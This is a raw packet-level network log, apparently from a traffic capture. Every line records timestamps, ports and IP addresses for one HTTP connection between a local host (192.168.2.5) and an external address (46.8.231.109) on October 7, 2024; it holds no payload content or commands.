Oct 7, 2024 17:22:07.565613985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565735102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565751076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565766096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565781116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565788031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565788031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565954924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565969944 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.565992117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.565992117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566015959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566071987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566145897 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566159964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566180944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566195965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566210985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566226006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566242933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566242933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566245079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566261053 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566287994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566287994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566287994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566302061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566315889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566330910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566339970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566354990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566354990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566354990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566370964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566400051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566400051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566462040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566507101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566523075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566538095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566551924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566570044 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566570997 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566570997 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566589117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566596031 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566603899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566618919 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566652060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566652060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566778898 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566869020 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566884041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566900015 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566914082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566924095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566924095 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566929102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566956043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566956043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.566976070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.566992044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567007065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567014933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567014933 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567024946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567047119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567047119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567099094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567192078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567250013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567265987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567280054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567295074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567310095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567322016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567322016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567322969 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567337036 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567337990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567353010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567367077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567382097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567395926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567395926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567410946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567423105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567425013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567440987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567460060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567460060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567478895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567492962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567514896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567514896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567559004 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567567110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567581892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567595959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567642927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567642927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567774057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567786932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567800999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567815065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567837954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567850113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.567851067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567851067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567895889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.567895889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568125010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568175077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568190098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568206072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568236113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568259954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568275928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568289995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568311930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568311930 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568387985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568413973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568428993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568443060 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568451881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568451881 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568456888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568473101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568489075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568495035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568495035 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568506002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568521023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568536043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568546057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568546057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568551064 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568567038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568581104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568599939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568603039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568603039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568613052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.568645954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.568645954 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646727085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646759987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646775961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646790981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646815062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646827936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646831989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646847963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646862984 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646877050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646887064 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646887064 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646892071 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646918058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646933079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646939039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646939039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646949053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646964073 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646966934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646987915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.646992922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.646992922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.647003889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.647047043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.647047043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.647047043 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.647075891 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.647927046 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.647973061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.647989988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648035049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648035049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648055077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648070097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648085117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648101091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648132086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648132086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648143053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648159981 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648175955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648180962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648180962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648191929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648211002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648212910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648212910 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648228884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648245096 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648272991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648272991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648499966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648561954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648576975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648598909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648616076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648632050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648653030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648663044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648679972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648685932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648685932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648695946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648719072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648719072 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648750067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648787022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648801088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648817062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648833036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648848057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648864985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648869991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648869991 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648902893 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648912907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648912907 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648920059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648935080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648950100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.648968935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.648998022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649010897 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649023056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649060965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649076939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649094105 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649111986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649126053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649142027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649156094 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649172068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649178982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649178982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649244070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649244070 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649271965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649286985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649302006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649312973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649317980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649333954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649343014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649343014 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649348974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649370909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649370909 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649388075 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649403095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649419069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649424076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649441957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649446011 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649446011 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649457932 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649462938 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649472952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649492025 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649492025 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649497032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649511099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649513006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649527073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649549961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649549961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649573088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649574995 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649588108 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649604082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649624109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649627924 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649629116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649641037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649655104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649660110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649660110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649673939 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649687052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.649697065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649697065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649729967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.649729967 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.691045046 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.698767900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861632109 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861668110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861685038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861701012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861728907 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861743927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861761093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861774921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861793041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861808062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861824036 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861836910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861845016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861845016 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861865044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861881018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861888885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861888885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861896992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861912012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861924887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861924887 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861927986 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861943007 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861948013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.861975908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861975908 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.861996889 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862013102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862030029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862044096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862046003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862046003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862059116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862075090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862075090 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862104893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862104893 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.862128019 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862143040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862157106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.862169981 CEST	80	49704	46.8.231.109	192.168.2.5
